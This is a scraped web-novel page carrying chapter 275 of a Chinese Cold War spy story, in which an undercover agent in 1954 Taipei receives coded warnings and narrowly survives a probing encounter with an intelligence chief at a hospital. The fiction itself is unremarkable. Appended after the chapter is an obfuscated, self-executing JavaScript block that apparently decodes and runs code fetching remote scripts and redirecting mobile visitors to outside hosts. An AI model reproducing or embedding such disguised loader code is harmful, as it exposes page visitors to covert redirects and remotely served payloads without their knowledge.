首页
[切换至繁体版]
返回

第0275章糖罐里的风暴

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第0275章糖罐里的风暴(第1/2页)
    1954年2月,台北的雨季来得比往年更早。
    雨丝从清晨就开始飘洒,将大稻埕街巷的青石板路浸成深黑色。林默涵站在“陈记颜料行”二楼窗前,左手端着白瓷茶盏,右手指尖在窗玻璃的水汽上无意识地划动。水痕很快聚成水珠滑落,像眼泪,也像某种无形的计数。
    三十七天。
    距离老赵在爱河码头牺牲,已经过去了三十七天。林默涵的左手无名指上,多了一道浅浅的疤痕——不是枪伤,是老赵中弹倒地时,死死攥住他的手指,指甲嵌进肉里留下的印记。医生说这疤会跟着他一辈子,林默涵却在包扎时对医生说:“好,正好提醒我,别忘了。”
    茶是上好的冻顶乌龙,苏曼卿托人从南投捎来的。茶汤金黄,香气清冽,可林默涵啜饮时,舌尖只尝到苦涩。他闭上眼睛,老赵最后那个眼神又在脑海里浮现——不是恐惧,不是痛苦,而是一种近乎释然的笑意,仿佛在说“值了”。
    楼下传来开门的铃铛声。
    林默涵瞬间睁开眼,茶盏轻轻放回窗台,右手已经摸向腰间。那里藏着一把勃朗宁M1910,枪膛里压着六发子弹,弹夹底部那发子弹的弹头上,他用针尖刻了个“海”字。这是他的规矩:最后一颗子弹,留给自己。
    楼梯上传来脚步声,不轻不重,三步一停。这是苏曼卿的安全信号。
    “沈老板。”苏曼卿推门进来,手里提着个藤编食盒,头发和肩膀都被雨打湿了,脸颊却透着不正常的潮红。她把食盒放在桌上,动作有些急促。
    “苏老板。”林默涵转身,目光在她脸上停留两秒,“你的手在抖。”
    苏曼卿低头看着自己的右手——那只手正捏着食盒的提手,指关节泛白,的确在微微颤抖。她深吸一口气,松开手,从食盒上层取出一盒凤梨酥,下层却是个油纸包。
    “今天码头来了批新货。”她说,声音压得很低,“广东来的白糖,成色特别好。我尝了,甜得很。”
    “白糖”是暗语,代表“有紧急情报”。
    林默涵没有立刻去碰油纸包,而是先拿起一块凤梨酥,掰开,看了看馅料,又放回食盒。“太甜了,最近牙疼。”
    这是安全回应,意思是“周围安全,可以说话”。
    苏曼卿这才在桌边坐下,手伸进衣襟,从内衣暗袋里摸出一张叠成指甲盖大小的薄纸。纸是特制的,遇水不化,遇火不燃,需要用特定的药水浸泡才能显出字迹。
    “老江昨天半夜送来的。”她声音发紧,“魏正宏要在下个月初,对整个高雄港实施军管。”
    林默涵接过纸片,没有打开,先问:“理由?”
    “说是抓地下党。”苏曼卿苦笑,“但老江偷听到电话,是美国人施压。美军顾问团认为高雄港的货物进出有‘安全隐患’,要求军方全面接管港口管理,所有货物必须经过三道检查,所有码头工人必须重新登记背景。”
    窗外的雨下大了,噼里啪啦敲打着瓦片。林默涵走到墙角,从墙壁的暗格里取出一个小瓷瓶,滴了两滴药水在纸片上。淡蓝色的字迹慢慢浮现,是江一苇那手漂亮的蝇头小楷:
    “三月五日起,高雄港全港军管。检查分三关:一关查货,二关查人,三关查账。重点:蔗糖出口商。魏已锁定三家,墨海在列。建议:断尾。”
    “断尾”是暗语,意思是“放弃现有据点,转移阵地”。
    林默涵将纸片凑到煤油灯上,看着它卷曲、发黑,最后化作一小撮灰烬。火焰在他瞳孔里跳动,映出一张没有表情的脸。
    “三家蔗糖出口商,除了我们,还有哪两家?”他问。
    “永丰和泰昌。”苏曼卿顿了顿,“永丰的老板上周在澳门赌场,输了三万美金,是军情局的人设的局。泰昌的大少爷在台北嫖娼被抓,抓他的人是魏正宏的手下。”
    “所以,这三家里,只有墨海是清白的?”林默涵的声音里听不出情绪。
    苏曼卿沉默了。
    不干净。这个圈子里,谁都不干净。做蔗糖出口,要和日本人打交道,要和香港的掮客打交道,要和码头的帮派打交道。墨海能三年不倒,靠的也不是一尘不染。林默涵贿赂过港务处长,给海关的科长送过金条,请宪兵队的队长喝过花酒。这些事,魏正宏一查一个准。
    “老江还说,”苏曼卿的声音更低了,“魏正宏手里,可能有一份我们在高雄时期的客户名单。”
    房间里突然安静下来,只剩下雨声。
    客户名单。林默涵的指尖在桌面上轻轻敲击。墨海贸易行在高雄两年,经手的客户有三十七家,其中十九家是真正的糖商,十二家是掩护身份的同志,还有六家……是军情局故意放出来钓鱼的假客户。
    如果那份名单落到魏正宏手里,如果魏正宏有足够的耐心,一家一家去查——
    “名单现在在哪儿?”林默涵问。
    “老江不确定,但他说,上周魏正宏的机要室,销毁了一批1949年以前的旧档案。名单可能混在里面一起销毁了,也可能……”苏曼卿没说完。
    也可能被魏正宏单独抽了出来,锁进了某个只有他自己知道的保险柜。
    林默涵转身看向窗外。雨幕中,大稻埕的街巷模糊成灰蒙蒙的一片。远处,淡水河的水面泛着铅灰色的光。这条河往北流,流入台湾海峡,对岸就是福建,就是厦门,就是鼓浪屿,就是女儿林晓棠等着爸爸回家的地方。
    “明月那边怎么样?”他突然问。
    苏曼卿愣了一下,才反应过来他问的是陈明月。那个女人,那个名义上是沈墨妻子、实际上是海燕最得力助手的女人,此刻正躺在台大医院的病房里,左腿缠着绷带,子弹取出来了,但伤口感染,发了两天高烧。
    “烧退了,但医生说,腿可能……会有点跛。”苏曼卿说得很轻。
    林默涵的手指攥紧了。
    那枚子弹,本来是冲他来的。是陈明月在千钧一发之际推开了他,子弹从她大腿外侧射入,卡在骨头里。取子弹的时候没有麻药,她咬着一块毛巾,汗把头发全浸湿了,却一声没吭。医生取出弹头,她第一句话是问:“他……安全了吗?”
    “我去看看她。”林默涵拿起挂在门后的雨衣。
    “现在?”苏曼卿站起身,“外面全是眼睛!”
    “所以才要去。”林默涵已经穿上雨衣,戴好斗笠,整个人笼在深灰色的油布下,只露出半张脸,“丈夫去看受伤的妻子,天经地义。躲着不去,反而可疑。”
    苏曼卿张了张嘴,最后只说:“小心。”
    ------
    雨越下越大。
    林默涵没有坐车,徒步穿过大稻埕的街巷。雨水冲刷着石板路,在低洼处积成水坑。他故意绕了个弯,从“明星咖啡馆”门口经过。玻璃窗里,几个常客坐在老位置,苏曼卿不在,是个年轻的伙计在招呼。林默涵的脚步没有停,目光却扫过窗边第二个卡座——桌上放着一盆水仙,花开了三朵。
    安全信号。意思是“周围没有尾巴”。
    他继续往前走,拐进一条窄巷。巷子尽头是家中药铺,门口挂着“陈德堂”的牌匾。林默涵走进去,柜台后坐着一个戴老花镜的老先生,正在碾药。
    “陈大夫,我太太腿伤复发,来抓点药。”林默涵说。
    老先生抬头,从镜片上方看他:“方子带了?”
    “带了。”林默涵从怀里掏出一张药方,放在柜台上。方子是真的,是台大医院开的,但方子背面,用米汤写了三行小字,干了就看不见,需要用碘酒熏才能显形。
    老先生接过方子,看了看正面,又翻到背面,对着光看了看,点点头:“川芎、当归、红花……这几味药我这刚好缺货,您得等两天。”
    “等不了,太太疼得厉害。”
    “那……”老先生沉吟,“我给您写个条子,您去民生西路的‘保和堂’,那儿有货。”
    说着,老先生提笔在一张便笺上写了几行字,折好,递给林默涵。便笺上是去“保和堂”的路线,但真正的信息,藏在笔画的粗细和转折里——那是只有林默涵能看懂的密码,意思是:“魏正宏今天下午三点,要去台大医院探视受伤的警备司令部副司令。随行六人,其中两人是生面孔,可能是从高雄调来的特务,认识你。建议回避。”
    林默涵心里一沉。
    台大医院。下午三点。魏正宏要去。
    而陈明月,就在台大医院。
    他把便笺收好,朝老先生点点头,转身离开中药铺。雨还在下,他走在雨里,脑子飞快地转。
    去,还是不去?
    如果去,撞上魏正宏的概率有多大?如果撞上,他能不能蒙混过去?如果蒙混不过去——
    如果不去,陈明月一个人在医院,万一魏正宏心血来潮,去骨科病房转转呢?陈明月的病历上写的是“枪伤”,虽然伪造了“遭土匪抢劫”的缘由,但以魏正宏的多疑,会不会看出破绽?
    林默涵停下脚步,站在一家布庄的屋檐下。雨水顺着瓦片流下来,在他脚边溅起水花。他低头看着水花,想起三个月前,也是这样一个雨天,陈明月在给他缝补衬衫的扣子。她低着头,针线在她手指间穿梭,忽然说:“默涵,等仗打完了,我们去西湖看看吧。我听人说,西湖的荷花,夏天开得特别好。”
    他当时在译电文,头也没抬:“好。”
    (本章未完,请点击下一页继续阅读)第0275章糖罐里的风暴(第2/2页)
    “然后去南京,看秦淮河。”她又说。
    “好。”
    “再去北京,看天安门。”
    “好。”
    她抬起头,看着他:“你怎么什么都说好?”
    他这才停下笔,看向她。煤油灯的光晕里,她的脸很柔和,眼睛很亮。他说:“因为你说的地方,我都想去。”
    陈明月笑了,低下头继续缝扣子,轻声说:“那就说定了。”
    雨声渐大。
    林默涵从回忆里抽身,抬头看了看天。灰蒙蒙的云层压得很低,像要塌下来。他深吸一口气,迈步走进雨幕。
    去。
    他得去。
    ------
    台大医院的气味,永远是消毒水和血腥味混在一起。林默涵提着果篮,走在三楼走廊里,皮鞋踩在水磨石地板上,发出沉闷的响声。骨科病房在走廊尽头,要经过护士站,经过医生办公室,经过一排排病房的门。
    他走得很慢,目光扫过每一扇门上的名牌。307,309,311……陈明月的病房是315。
    在313病房门口,他停下脚步。门虚掩着,里面传出说话声,是台湾腔很重的国语:
    “……副司令放心,那帮地下党跑不了!高雄港马上就要军管,一只苍蝇都飞不出去!”
    另一个声音,低沉,带着不容置疑的威严:“军管是手段,不是目的。目的是要把藏在糖罐里的老鼠,一只一只揪出来。”
    是魏正宏。
    林默涵的后背瞬间绷紧。他提着果篮的手微微用力,指节泛白。但他没有停,继续往前走,经过313,走向315。脚步不疾不徐,像个真正来探病的家属。
    315病房的门关着。林默涵抬手,敲了三下。
    “请进。”里面传来陈明月的声音,有些虚弱。
    林默涵推门进去。
    病房里只有陈明月一个人,靠坐在床上,左腿打着石膏,用绷带吊着。她穿着病号服,脸色苍白,但眼睛在看到林默涵的瞬间亮了一下,随即又暗下去,变成恰到好处的惊喜和一点埋怨:“你怎么来了?不是说今天要去谈生意?”
    演戏。永远在演戏。哪怕病房里只有他们两个人,哪怕门外可能就站着特务,他们也要把这场“夫妻”的戏演到底。
    “生意谈完了,顺路来看看你。”林默涵把果篮放在床头柜上,在床边的椅子上坐下,很自然地握住她的手,“腿还疼吗?”
    他的手很凉,她的手很热。陈明月的手指在他掌心轻轻动了动,用摩斯密码敲出两个字:“危险。”
    林默涵面色不变,手指在她手背上轻轻拍了拍,也敲了两个字:“知道。”
    “医生说我下周就能出院了。”陈明月提高声音,像是在抱怨,“就是走路可能有点瘸,难看死了。”
    “难看什么,能走路就行。”林默涵说着,从果篮里拿出一个苹果,用小刀慢慢削皮。苹果皮连成长长的一条,垂下来,在空气里微微晃动。
    两人就这样有一搭没一搭地聊着家常,聊天气,聊物价,聊邻居家新养的小狗。但他们的手指在被子下紧紧交握,用摩斯密码交换着真正的信息:
    “魏在隔壁。”
    “待多久?”
    “不确定。”
    “名单的事?”
    “老江在查。”
    “你的腿……”
    “没事。”
    苹果削好了,林默涵切成小块,插上牙签,递给陈明月。陈明月接过,小口小口吃着,眼睛看着他,忽然说:“你头发湿了。”
    “外面下雨。”林默涵说。
    “伞呢?”
    “忘了带。”
    陈明月笑了:“总是这么粗心。”
    就在这时,病房的门被推开了。
    林默涵没有回头,但他感觉到陈明月的手瞬间攥紧。他继续用牙签插着苹果,动作自然得像什么都没发生。
    门口传来脚步声,不止一个人。
    然后,魏正宏的声音在身后响起,温和,甚至带着点笑意:
    “沈老板,这么巧。”
    林默涵这才转过身,脸上露出恰到好处的惊讶,然后连忙站起身,微微鞠躬:“魏处长,您怎么来了?”
    魏正宏站在门口,穿着笔挺的少将军装,披着将校呢大衣,手里拿着军帽。他身后站着两个年轻军官,面无表情,目光像刀子一样在林默涵身上刮过。
    “来看望王副司令,听说沈太太也在这儿住院,顺路过来看看。”魏正宏走进病房,目光在陈明月脸上停留片刻,又转向林默涵,“沈太太这是……”
    “不小心摔了一跤,腿骨折了。”林默涵叹气,“女人家,走路不当心。”
    魏正宏点点头,走到床边,看着陈明月:“沈太太受苦了。哪个医生看的?需不需要我打个招呼,换个好点的病房?”
    “不用不用,已经麻烦魏处长了。”陈明月连忙说,声音里带着惶恐和感激,“就是点小伤,不敢劳烦您。”
    “哎,沈老板是我们高雄商界的栋梁,照顾是应该的。”魏正宏说着,忽然转向林默涵,“对了沈老板,有件事正好想请教你。”
    “魏处长请讲。”
    “你们做蔗糖出口的,对高雄港的仓储情况应该很熟悉吧?”魏正宏在病房里慢慢踱步,军靴踩在地板上,发出咔哒咔哒的响声,“下个月港区要整修,有些仓库可能要腾出来。你们墨海贸易行,在三号码头那边,是不是有个仓库?”
    林默涵的心跳漏了一拍。
    三号码头,仓库B-7。那是墨海在高雄最大的仓库,也是他们之前用来藏匿发报机和秘密文件的地方。虽然撤离时已经清理过,但以魏正宏的手段,如果仔细搜查,难保不会发现蛛丝马迹。
    “是有一个。”林默涵面上不动声色,“不过不大,就放点零散货。魏处长需要用的话,我让人腾出来就是。”
    “那倒不必。”魏正宏停下脚步,转过身,看着林默涵,眼睛微微眯起,“我就是随口一问。对了,听说沈老板是福建晋江人?”
    “是,祖籍晋江。”
    “晋江好啊,侨乡,出人才。”魏正宏笑了笑,笑容却没到眼底,“我有个老部下,也是晋江人,叫林国栋。沈老板认识吗?”
    林默涵的呼吸有一瞬间的停滞。
    林国栋。那是他真正的名字,是他参加革命前,在老家用的名字。知道这个名字的人不多,除了老家的亲戚,就是……就是当年在南京,审过他的那个特务。
    而那个特务,如果没记错的话,后来升了官,调到了台湾。
    就是眼前这位,魏正宏。
    病房里的空气突然变得粘稠。窗外的雨声好像远了,近在耳边的,只有三个人轻微的呼吸声,和魏正宏军靴踩在地板上的,一下,又一下的,咔哒声。
    林默涵看着魏正宏,魏正宏也看着林默涵。两人的目光在空中相撞,谁也没有移开。
    然后,林默涵笑了,笑容自然,带着点恰到好处的疑惑:
    “林国栋?这名字倒是耳熟。不过晋江姓林的多,叫国栋的也不少。魏处长这位老部下,是哪一房的?说不定我还真认识。”
    魏正宏也笑了,摆摆手:“算了,我就随口一问。沈老板继续陪太太吧,我还有事,先走了。”
    他戴上军帽,朝陈明月点点头,转身离开。两个年轻军官跟在后面,病房的门轻轻关上。
    脚步声渐行渐远。
    林默涵站在原地,一动不动。直到脚步声彻底消失在三楼走廊的尽头,他才慢慢转过身,看向陈明月。
    陈明月脸色惨白,额头上全是冷汗。她的手紧紧抓着被子,指节发白。
    “他认出你了?”她声音发颤。
    林默涵没说话,走到窗边,掀开窗帘一角。楼下,魏正宏坐进一辆黑色轿车,车子发动,驶出台大医院的大门,消失在雨幕中。
    他放下窗帘,走回床边,握住陈明月的手。她的手冰凉,在发抖。
    “也许认出了,也许没有。”林默涵的声音很平静,“但试探已经开始了。”
    “那我们……”
    “我们得走。”林默涵打断她,从怀里掏出一个小纸包,塞进她手心,“这里面是新的身份文件和地址。等你出院,苏老板会来接你。去那里等我,如果我三天内没到——”
    “我等你。”陈明月说,声音很轻,但很坚定,“三天,三十天,三年,我都等。”
    林默涵看着她,看了很久。然后他俯身,在她额头上轻轻印下一个吻。
    “等我。”他说。
    然后他转身,走出病房,走进走廊,走进那弥漫着消毒水和血腥味的空气里。皮鞋踩在水磨石地板上,发出沉闷的响声,一声,一声,像是某种倒计时。
    而在医院大门外,那辆黑色轿车里,魏正宏摘下军帽,对副驾驶的年轻军官说:
    “查。查沈墨,查墨海贸易行,查他所有的生意往来,查他所有的亲戚朋友。特别是——”
    他顿了顿,眼睛看着车窗外朦胧的雨幕:
    “查他有没有一个女儿,在大陆。”
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();